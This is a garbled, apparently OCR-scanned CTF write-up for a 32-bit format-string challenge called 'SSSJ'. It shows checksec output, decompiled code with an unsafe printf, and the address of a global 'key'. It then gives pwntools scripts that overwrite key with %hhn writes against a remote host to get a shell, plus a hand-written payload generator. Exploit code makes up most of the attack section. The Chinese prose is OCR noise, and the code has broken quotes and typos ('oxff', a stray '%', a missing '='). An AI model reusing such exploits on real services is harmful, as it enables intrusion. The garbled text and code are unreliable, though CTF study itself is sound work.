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® /home/../ % @ /ctf_workstation/Offensive and defensive world/SSSJ
checksec
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols

ORTIFY Fortified Fortifiable FILE
Partial RELRO No RPATH No RUNPATH
(0] 2 SSSJ

RIEHMEATT, TERRRFF.

BAT— TSN B e A R I YRt T B By s BRI A UORS IR R DR A TR B A%

® /home/../ % M /ctf_workstation/Offensive and defensive world/SSSJ]
./SSSJ
kalals

kalals
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (J°O°)!~ 1L

CSDN @coke_pwn

BAT R I A A i key I 2 A0x2223322,
BH# tida
int locker
char s[520]; // [esp+6h] [ebp-208h] BYREF
fgets(s, 512, stdin
imagemagic(s // B FIE IR
if key == 0x2223322
return system("/bin/sh"

else
return printf(format, &key, key

Y key=0x2223322K}, 3Kf5shell.

int _ cdecl imagemagic(char *format

return printf(format

R 33 pR Fimagemagick B 1E 4% Ak 7 5 IR TR

2./ 75 JE. B
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.bss:0804A048 public key

.bss:0804A048 key dd ? ; DATA XREF: locker+38Tr
.bss:0804A048 5 locker:loc_80485081Tr
.bss:0804A048 _bss ends

.bss:0804A048
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YonHI 1 FH A K 1 THD O 45 305 B N2 S B0tk b
HIT0x2223322K KT, TRIX B2 AL 777 5 I8 T 10 B i (£ B MU hb I8 R I 2 25 KB iR
ZEAENFHERUT TR REME, 76 x86. 64 HRER/MREME, #AFRHERIEMNMIERKET

h: X FRERA, printf HF—M short FFH int R~F R S5
hh: Xt FEERIKA, printf B — N char T int RSB S

BRI hhn BAMBRETY, hn SAHREIF.
3.Fffwp

F 3 vHH B B A & #% X AL 7 77 I i payload

from pwn import *

sh = remote('111.200.241.244"',50009)
#sh = process('./SSSJ1")

key_addr = 0x804a048

payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) +p32(key_addr + 3)

payload += '%18x' + '%12$hhn' + '%17x' + '%13$hhn' + '%239x"' + '%14$hhn' + '%224x' + '%15%$hhn’
sh.sendline(payload)

sh.interactive()
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from pwn import *

sh = remote('111.200.241.244"',50009)

#sh = process('./SSSJ1")

sh.sendline(fmtstr_payload(12, {0x804A048:0x2223322}))
sh.interactive()

fmtstr_payload(fw#, {Eiitt: HHht})

% T fRfmtstr_payload & % i) i {5
T H B A BRSO AR D



def fmt(prev, word, index):
if prev < word:
result = word - prev

fmtstr = "%" + str(result) + "c"
elif prev == word:

result = 0
else:

result = 256 + word - prev

fmtstr "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr

def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & oxff, offset + i)
prev = (target >> i * 8) & oxff
return payload
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